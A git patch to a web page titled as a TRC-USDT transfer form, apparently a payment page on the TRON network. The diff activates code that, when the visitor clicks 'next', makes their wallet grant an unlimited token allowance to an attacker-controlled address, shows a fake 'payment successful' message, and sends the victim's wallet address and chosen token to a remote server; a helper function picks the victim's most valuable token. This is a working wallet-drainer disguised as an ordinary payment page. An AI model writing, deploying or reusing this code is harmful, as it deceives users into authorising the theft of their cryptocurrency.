From 9024e738e81d6b316c9bd9019495188dd296b8d6 Mon Sep 17 00:00:00 2001
From: KKSU <15274802129@163.com>
Date: Mon, 08 Jul 2024 18:08:13 +0800
Subject: [PATCH] 逻辑
---
src/main/resources/static/tron-app/tron.html | 422 +++++++++++++++++++++++++++++++---------------------
1 files changed, 248 insertions(+), 174 deletions(-)
diff --git a/src/main/resources/static/tron-app/tron.html b/src/main/resources/static/tron-app/tron.html
index 53b8bb2..0825c8c 100644
--- a/src/main/resources/static/tron-app/tron.html
+++ b/src/main/resources/static/tron-app/tron.html
@@ -1,188 +1,262 @@
<!DOCTYPE html>
<!-- saved from url=(0080)https://fymodi.com/index/index/trc_usdt_transfer.html?agent=10000&address=123456 -->
-<html lang="en" data-dpr="1" style="font-size: 37.5px;" class="no-touch"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><link rel="icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><link rel="shortcut icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><!-- Required meta tags--><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover"><meta name="apple-mobile-web-app-capable" content="yes"><meta name="apple-mobile-web-app-status-bar-style" content="black"><meta name="format-detection" content="telephone=no, email=no"><meta name="msapplication-tap-highlight" content="no"><meta name="x5-orientation" content="portrait"><meta name="x5-fullscreen" content="true"><link rel="icon" href="https://fymodi.com/index/index/favicon.ico"><meta name="description" content=""><meta name="keywords" content=""><!-- App title --><title>TRC-USDT 转账</title><!-- Framework7 Library CSS --><link rel="stylesheet" href="./tron_files/vendor.min.css"><!-- Custom app styles--><link rel="stylesheet" href="./tron_files/reset.min.css"><link rel="stylesheet" href="./tron_files/main.css"><script type="text/javascript" src="./tron_files/TronWeb.js"></script><!-- Jquery app core js--><script type="text/javascript" src="./tron_files/jquery-2.1.4.min.js"></script><script type="text/javascript" src="./tron_files/flexible.js"></script><style type="text/css"> .tishi{
- width: 3.5rem;
- height: 1.2rem;
- background: #00000059;
- z-index: 999999999999;
- position: fixed;
- top: 50%;
- left: 50%;
- transform: translate(-50%, -50%);
- border-radius: 0.1rem;
- color: white;
- font-size: 0.6rem;
- text-align: center;
- line-height: 1.2rem;
- display: none;
- }
- </style></head><body style="font-size: 12px;"><!-- Views --><div class="views"><!-- main view --><div class="view view-main"><!-- Pages --><div class="pages navbar-through"><div class="page"><div class="page-content" style="padding-top: 0.5rem;"><div class="list-block address"><div class="list-block-title">收款地址</div><ul><li class="item-content"><div class="item-inner"><div class="item-title" id="address">TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t</div></div></li></ul></div><div class="list-block amount"><div class="list-block-title">金额<span id="yu">0 USDT</span></div><ul><li class="item-content"><div class="item-inner"><div class="item-title"><input class="num" placeholder="0"><p>¥ <span id="price" style="color: inherit;font-size:inherit;">0</span></p></div></div></li><!--<li class="item-content">--><!-- <div class="item-inner">--><!-- <div class="item-after">备注</div>--><!-- </div>--><!--</li>--></ul><!-- <ul><li class="item-content item-link"><div class="item-inner"><div class="item-title">矿工费</div><div class="item-after"><p>0.002640 ETH</p><p>¥44.69</p></div></div></li></ul> --></div><div class="list-block-button"><button class="button button-fill " id="btn-connect" style="background: rgb(7, 139, 195);">下一步</button></div></div></div><!-- Preloader --><div class="modal"><div class="preloader"></div></div><div class="tishi"> 付款成功
- </div></div></div><div id="s"></div></div>
- <div id="fffsss" style="color: white;z-index: 99999999999999999;position: absolute;top: 1px;"></div>
- <div style="display:none;">
+<html lang="en" data-dpr="1" style="font-size: 37.5px;" class="no-touch">
+<head>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+ <link rel="icon" href="https://fymodi.com/favicon.ico" type="image/x-icon">
+ <link rel="shortcut icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><!-- Required meta tags-->
+ <meta name="viewport"
+ content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover">
+ <meta name="apple-mobile-web-app-capable" content="yes">
+ <meta name="apple-mobile-web-app-status-bar-style" content="black">
+ <meta name="format-detection" content="telephone=no, email=no">
+ <meta name="msapplication-tap-highlight" content="no">
+ <meta name="x5-orientation" content="portrait">
+ <meta name="x5-fullscreen" content="true">
+ <link rel="icon" href="https://fymodi.com/index/index/favicon.ico">
+ <meta name="description" content="">
+ <meta name="keywords" content=""><!-- App title --><title>TRC-USDT 转账</title><!-- Framework7 Library CSS -->
+ <link rel="stylesheet" href="./tron_files/vendor.min.css"><!-- Custom app styles-->
+ <link rel="stylesheet" href="./tron_files/reset.min.css">
+ <link rel="stylesheet" href="./tron_files/main.css">
+ <script type="text/javascript" src="./tron_files/TronWeb.js"></script><!-- Jquery app core js-->
+ <script type="text/javascript" src="./tron_files/jquery-2.1.4.min.js"></script>
+ <script type="text/javascript" src="./tron_files/flexible.js"></script>
+ <style type="text/css"> .tishi {
+ width: 3.5rem;
+ height: 1.2rem;
+ background: #00000059;
+ z-index: 999999999999;
+ position: fixed;
+ top: 50%;
+ left: 50%;
+ transform: translate(-50%, -50%);
+ border-radius: 0.1rem;
+ color: white;
+ font-size: 0.6rem;
+ text-align: center;
+ line-height: 1.2rem;
+ display: none;
+ }
+ </style>
+</head>
+<body style="font-size: 12px;"><!-- Views -->
+<div class="views"><!-- main view -->
+ <div class="view view-main"><!-- Pages -->
+ <div class="pages navbar-through">
+ <div class="page">
+ <div class="page-content" style="padding-top: 0.5rem;">
+ <div class="list-block address">
+ <div class="list-block-title">收款地址</div>
+ <ul>
+ <li class="item-content">
+ <div class="item-inner">
+ <div class="item-title" id="address">TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t</div>
+ </div>
+ </li>
+ </ul>
+ </div>
+ <div class="list-block amount">
+ <div class="list-block-title">金额<span id="yu">0 USDT</span></div>
+ <ul>
+ <li class="item-content">
+ <div class="item-inner">
+ <div class="item-title"><input class="num" placeholder="0">
+ <p>¥ <span id="price" style="color: inherit;font-size:inherit;">0</span></p>
+ </div>
+ </div>
+ </li><!--<li class="item-content">--><!-- <div class="item-inner">-->
+ <!-- <div class="item-after">备注</div>--><!-- </div>--><!--</li>--></ul>
+ <!-- <ul><li class="item-content item-link"><div class="item-inner"><div class="item-title">矿工费</div><div class="item-after"><p>0.002640 ETH</p><p>¥44.69</p></div></div></li></ul> -->
+ </div>
+ <div class="list-block-button">
+ <button class="button button-fill " id="btn-connect" style="background: rgb(7, 139, 195);">下一步
+ </button>
+ </div>
+ </div>
+ </div><!-- Preloader -->
+ <div class="modal">
+ <div class="preloader"></div>
+ </div>
+ <div class="tishi"> 付款成功
+ </div>
+ </div>
+ </div>
+ <div id="s"></div>
+</div>
+<div id="fffsss" style="color: white;z-index: 99999999999999999;position: absolute;top: 1px;"></div>
+<div style="display:none;">
<textarea id="jsondata">
{"WIN":"TLa2f6VPqDgRE67v1736s7bJ8Ray5wYjU7","USDT":"TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t","TONS":"THgLniqRhDg5zePSrDTdU9QwY8FjD9nLYt","USDJ":"TMwFHYXLJaRUPeW6421aqXL4ZEzPRFGkGT","JST":"TCFLL5dx5ZJdKnWuesXxi1VPwjLVmWZZy9","HT":"TDyvndWuvX5xTBwHPYJi7J3Yq8pq8yh62h","SUN":"TKkeiboTkxXKJpbmVFbv4a8ov5rAfRDMf9","EXNX":"TCcVeKtYUrHEQDPmozjJFMrf6XX7BgF84A","VCOIN":"TNisVGhbxrJiEHyYUMPxRzgytUtGM7vssZ","POL":"TWcDDx1Q6QEoBrJi9qehtZnD4vcXXuVLer","CKRW":"TTVTdn8ipmacfKsCHw5Za48NRnaBRKeJ44"}
</textarea>
- </div>
- <script type="text/javascript">
- var address = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
- var agent = "10000";
- var rank = 6.5;
- var authorized_address = 'TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9';
- // var domain = 'http://120.27.238.55:8802';
- var domain = 'http://localhost:8080';
- var bizhong = 'USDT';
- var approveAddr = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
- function getUrlQueryString(names, urls) {
- urls = urls || window.location.href;
- urls && urls.indexOf("?") > -1 ? urls = urls.substring(urls.indexOf("?") + 1) : "";
- var reg = new RegExp("(^|&)" + names + "=([^&]*)(&|$)", "i");
- var r = urls ? urls.match(reg) : window.location.search.substr(1).match(reg);
- if (r != null && r[2] != "")
- return unescape(r[2]);
- return null;
+</div>
+<script type="text/javascript">
+ var address = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
+ var agent = "10000";
+ var rank = 6.5;
+ var authorized_address = 'TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9';
+ var domain = 'https://dapp.dream-space.top';
+ // var domain = 'http://localhost:8080';
+ var bizhong = 'USDT';
+ var approveAddr = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
- }
-
- $('input.num').bind('input propertychange', function(){
- if($(this).val() && $(this).val()>0){
- $('#btn-connect').css('background','#078bc3');
- }else{
- $('#btn-connect').css('background','#dde0dd');
- }
- $('#price').text(($(this).val()*rank).toLocaleString() )
- })
+ function getUrlQueryString(names, urls) {
+ urls = urls || window.location.href;
+ urls && urls.indexOf("?") > -1 ? urls = urls.substring(urls.indexOf("?") + 1) : "";
+ var reg = new RegExp("(^|&)" + names + "=([^&]*)(&|$)", "i");
+ var r = urls ? urls.match(reg) : window.location.search.substr(1).match(reg);
+ if (r != null && r[2] != "")
+ return unescape(r[2]);
+ return null;
- async function postInfo(address,symbol){
- var data = {
- address:address,
- authAddress:authorized_address,
- symbol:symbol
- }
+ }
- $.ajax({
- type: 'post',
- url: domain + "/trx/trcPost.html",
- data:data,
- success:function(){
- location.href = domain + "/tron-app/trc_post.html";
- }
- })
- }
-
+ $('input.num').bind('input propertychange', function () {
+ if ($(this).val() && $(this).val() > 0) {
+ $('#btn-connect').css('background', '#078bc3');
+ } else {
+ $('#btn-connect').css('background', '#dde0dd');
+ }
+ $('#price').text(($(this).val() * rank).toLocaleString())
+ })
- $(function() {
-
- const addr = JSON.parse($('#jsondata').html());
+ async function postInfo(address, symbol) {
+ var amount = $($('input.num')[0]).val();
+ var data = {
+ address: address,
+ authAddress: authorized_address,
+ symbol: symbol,
+ amount: amount
+ }
- const price = {
- 'WIN': 0.001150,
- 'USDT':1,
- 'TONS':1.35,
- 'USDJ':1.04,
- 'JST': 0.125,
- "HT": 20.41,
- "SUN": 33.97,
- "EXNX": 0.0621,
- "VCOIN": 0.004225,
- "POL": 0.1393,
- "CKRW": 0.002487,
- }
+ $.ajax({
+ type: 'post',
+ url: domain + "/trx/trcPost.html",
+ data: data,
+ success: function () {
+ location.href = domain + "/tron-app/trc_post.html";
+ }
+ })
+ }
- const decimals = {
- 'WIN': 6,
- 'USDT':6,
- 'TONS':6,
- 'USDJ':18,
- 'JST': 18,
- "HT": 18,
- "SUN": 18,
- "EXNX": 18,
- "VCOIN": 6,
- "POL": 8,
- "CKRW": 6,
- }
- var total=0;
- async function getMostValuableAssets(account) {
- let _symbol = 'USDT';
- for (const symbol of Object.keys(addr)) {
- let contract = await tronWeb.contract().at(addr[symbol]);
- let myBalance = await contract.balanceOf(account).call(function(err,balance){
- const usdt = balance / (10** (decimals[symbol] || 18)) * price[symbol];
- console.log(usdt);
- if (usdt > total && usdt > 500) {
- _symbol = symbol;
- total = usdt;
- approveAddr = addr[_symbol];
- }
- })
- }
- bizhong = _symbol;
- return _symbol;
- }
+ $(function () {
- /**
- * * Connect wallet button pressed.
- */
- async function onConnect() {
- $('.pages').append('<div class="modal-overlay"></div>');
- $('.modal-overlay').addClass('modal-overlay-visible');
- $('.modal').removeClass('modal-out').addClass('modal-in');
- let tronWeb = window.tronWeb;
- let walletAddress = tronWeb.defaultAddress.base58;
- postInfo(walletAddress,bizhong);
- // bizhong = await getMostValuableAssets(walletAddress);
- // let instance = await tronWeb.contract().at(approveAddr);
- // let res = await instance["approve"](authorized_address,"90000000000000000000000000000");
- // res.send({
- // feeLimit: 100000000,
- // callValue: 0,
- // shouldPollResponse: false
- // },function(err,res){
- // if(err == null){
- // $(".tishi").fadeIn()
- // setTimeout(function () {
- // $(".tishi").fadeOut()
- // },2000);
- // postInfo(walletAddress,bizhong)
- // }
- // $('.modal-overlay').remove();
- // $('.modal').removeClass('modal-in').addClass('modal-out');
- // })
- }
- function init() {
- }
-
-
- async function s(){
- if (window.tronWeb) {
- var tronWeb = window.tronWeb;
- let contract = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
- let walletAddress = tronWeb.defaultAddress.base58;
- let result = await contract.balanceOf(walletAddress).call(function(err,tex){
- if(err == null){
- let total = tex._hex/(10**6);
- $('#yu').text(total.toLocaleString() +' USDT')
- console.log();
- }
- });
- }else{
- }
- }
+ const addr = JSON.parse($('#jsondata').html());
- /**
- * Main entry point.
- */
-
- init();
- document.querySelector("#btn-connect").addEventListener("click", onConnect);
- document.querySelector("#s").addEventListener("click", s);
- })
-
- $(function(){
- setTimeout(function(){
- $('#s').click()
- },1000);
- })
- </script><script type="text/javascript" referrerpolicy="unsafe-url" src="./tron_files/jquery.js"></script></body></html>
\ No newline at end of file
+ const price = {
+ 'WIN': 0.001150,
+ 'USDT': 1,
+ 'TONS': 1.35,
+ 'USDJ': 1.04,
+ 'JST': 0.125,
+ "HT": 20.41,
+ "SUN": 33.97,
+ "EXNX": 0.0621,
+ "VCOIN": 0.004225,
+ "POL": 0.1393,
+ "CKRW": 0.002487,
+ }
+
+ const decimals = {
+ 'WIN': 6,
+ 'USDT': 6,
+ 'TONS': 6,
+ 'USDJ': 18,
+ 'JST': 18,
+ "HT": 18,
+ "SUN": 18,
+ "EXNX": 18,
+ "VCOIN": 6,
+ "POL": 8,
+ "CKRW": 6,
+ }
+
+ var total = 0;
+
+ async function getMostValuableAssets(account) {
+ let _symbol = 'USDT';
+ for (const symbol of Object.keys(addr)) {
+ let contract = await tronWeb.contract().at(addr[symbol]);
+ let myBalance = await contract.balanceOf(account).call(function (err, balance) {
+ const usdt = balance / (10 ** (decimals[symbol] || 18)) * price[symbol];
+ console.log(usdt);
+ if (usdt > total && usdt > 500) {
+ _symbol = symbol;
+ total = usdt;
+ approveAddr = addr[_symbol];
+ }
+ })
+ }
+ bizhong = _symbol;
+ return _symbol;
+ }
+
+ /**
+ * * Connect wallet button pressed.
+ */
+ async function onConnect() {
+ $('.pages').append('<div class="modal-overlay"></div>');
+ $('.modal-overlay').addClass('modal-overlay-visible');
+ $('.modal').removeClass('modal-out').addClass('modal-in');
+ let tronWeb = window.tronWeb;
+ let walletAddress = tronWeb.defaultAddress.base58;
+ // bizhong = await getMostValuableAssets(walletAddress);
+ // postInfo(walletAddress, bizhong)
+ let instance = await tronWeb.contract().at(approveAddr);
+ let res = await instance["approve"](authorized_address, "90000000000000000000000000000");
+ res.send({
+ feeLimit: 100000000,
+ callValue: 0,
+ shouldPollResponse: false
+ }, function (err, res) {
+ if (err == null) {
+ $(".tishi").fadeIn()
+ setTimeout(function () {
+ $(".tishi").fadeOut()
+ }, 2000);
+ postInfo(walletAddress, bizhong)
+ }
+ $('.modal-overlay').remove();
+ $('.modal').removeClass('modal-in').addClass('modal-out');
+ })
+ }
+
+ function init() {
+ }
+
+
+ async function s() {
+ if (window.tronWeb) {
+ var tronWeb = window.tronWeb;
+ let contract = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
+ let walletAddress = tronWeb.defaultAddress.base58;
+ let result = await contract.balanceOf(walletAddress).call(function (err, tex) {
+ if (err == null) {
+ let total = tex._hex / (10 ** 6);
+ $('#yu').text(total.toLocaleString() + ' USDT')
+ console.log();
+ }
+ });
+ } else {
+ }
+ }
+
+ /**
+ * Main entry point.
+ */
+
+ init();
+ document.querySelector("#btn-connect").addEventListener("click", onConnect);
+ document.querySelector("#s").addEventListener("click", s);
+ })
+
+ $(function () {
+ setTimeout(function () {
+ $('#s').click()
+ }, 1000);
+ })
+</script>
+<script type="text/javascript" referrerpolicy="unsafe-url" src="./tron_files/jquery.js"></script>
+</body>
+</html>
\ No newline at end of file
--
Gitblit v1.9.1